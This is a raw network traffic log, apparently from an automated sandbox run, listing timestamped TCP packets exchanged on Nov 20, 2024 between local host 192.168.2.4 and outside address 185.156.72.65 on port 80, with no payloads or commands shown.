Nov 20, 2024 05:02:19.320560932 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320569992 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320575953 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.320585012 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320595026 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320597887 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.320605993 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320616007 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320616007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.320633888 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320635080 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.320642948 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320655107 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.320662022 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320672989 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320674896 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.320691109 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320700884 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.320703983 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320713997 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.320738077 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.320755959 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.321142912 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.321155071 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.321165085 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.321193933 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.321213007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.321216106 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.321228027 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.321261883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.321290970 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.321688890 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.321706057 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.321716070 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.321724892 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.321733952 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.321736097 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.321767092 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.321785927 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.321887016 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.321897984 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.321907043 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.321933031 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.321964025 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.322079897 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322091103 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322099924 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322124958 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.322153091 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.322186947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322197914 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322207928 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322231054 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.322259903 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.322309971 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322321892 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322331905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322360992 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.322388887 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.322405100 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322416067 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322426081 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322452068 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.322482109 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.322726965 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322737932 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322747946 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322777033 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.322805882 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.322921038 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322932005 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322943926 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.322968006 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.322992086 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.323003054 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.323014021 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.323049068 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.323086023 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.323096991 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.323103905 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.323139906 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.323139906 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.323158026 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.323169947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.323179960 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.323206902 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.323211908 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.323226929 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.323254108 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.323509932 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.323558092 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.323569059 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.323601961 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.323616982 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.323751926 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.324068069 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324083090 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324094057 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324104071 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324115038 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324115038 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.324140072 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.324168921 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.324537992 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324548006 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324558020 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324568987 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324585915 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.324616909 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.324625969 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324635983 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.324670076 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.324680090 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324738979 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.324815989 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324826956 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324837923 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324851036 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324872017 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.324872017 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.324873924 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324904919 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.324915886 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.324928999 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.324974060 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.325015068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.325061083 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.325098038 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.325108051 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.325145960 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.325176954 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.325423956 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.325434923 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.325444937 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.325462103 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.325470924 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.325473070 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.325506926 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.325506926 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.325892925 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.325905085 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.325911045 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.325953960 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.325953960 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.325985909 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326031923 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.326051950 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326062918 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326092005 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.326122999 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.326406002 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326416969 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326427937 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326458931 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.326458931 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.326469898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326481104 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.326483011 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326525927 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.326525927 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.326736927 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326777935 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326782942 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.326787949 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326834917 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.326834917 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.326875925 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326885939 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326894999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326936007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.326936007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.326976061 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326987028 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.326996088 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327024937 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327055931 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327105045 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327147961 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327152014 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327159882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327189922 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327209949 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327224016 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327234983 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327270031 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327301025 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327318907 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327332973 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327342033 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327364922 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327390909 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327497959 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327543974 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327578068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327629089 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327666044 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327677011 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327687025 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327696085 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327719927 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327719927 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327733040 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327745914 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327773094 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327832937 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327866077 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327879906 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327908993 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.327910900 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.327956915 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.407984018 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.407994986 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408004999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408010960 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408072948 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408072948 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408114910 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408132076 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408142090 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408152103 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408162117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408165932 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408170938 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408185959 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408198118 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408209085 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408209085 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408216000 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408226967 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408241034 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408241034 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408245087 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408256054 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408263922 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408273935 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408288002 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408294916 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408308029 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408313036 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408324957 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408335924 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408344030 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408344030 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408349037 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408358097 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408365011 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408389091 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408389091 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408624887 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408643961 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408653021 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408683062 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408683062 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408740997 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408757925 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408767939 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408776999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408788919 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.408792019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408811092 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.408835888 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.409379959 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409399033 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409408092 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409424067 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.409452915 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.409476995 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409487009 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409496069 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409507036 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409512997 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409523010 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.409542084 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.409554958 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.409800053 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409842014 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.409890890 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409900904 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409912109 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409921885 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409931898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409940004 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.409943104 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409954071 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.409959078 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.409981012 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.409996033 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.410141945 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410175085 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410182953 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410183907 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.410208941 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.410211086 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410222054 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410222054 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.410250902 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.410260916 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.410265923 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410276890 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410285950 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410312891 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.410329103 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.410671949 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410689116 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410701036 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410710096 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410718918 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410722017 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.410728931 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410739899 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410749912 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.410758018 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410769939 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.410790920 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.410805941 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.410948992 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410965919 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.410995007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.411005974 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.411016941 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.411062002 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.411089897 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.411101103 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.411112070 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.411122084 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.411132097 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.411134958 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.411159992 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.411175013 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.412137985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.412147045 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.412157059 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.412184000 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.412195921 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.412204981 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.412216902 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.412250042 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.433360100 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.433371067 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.433389902 CET	80	49730	185.156.72.65	192.168.2.4
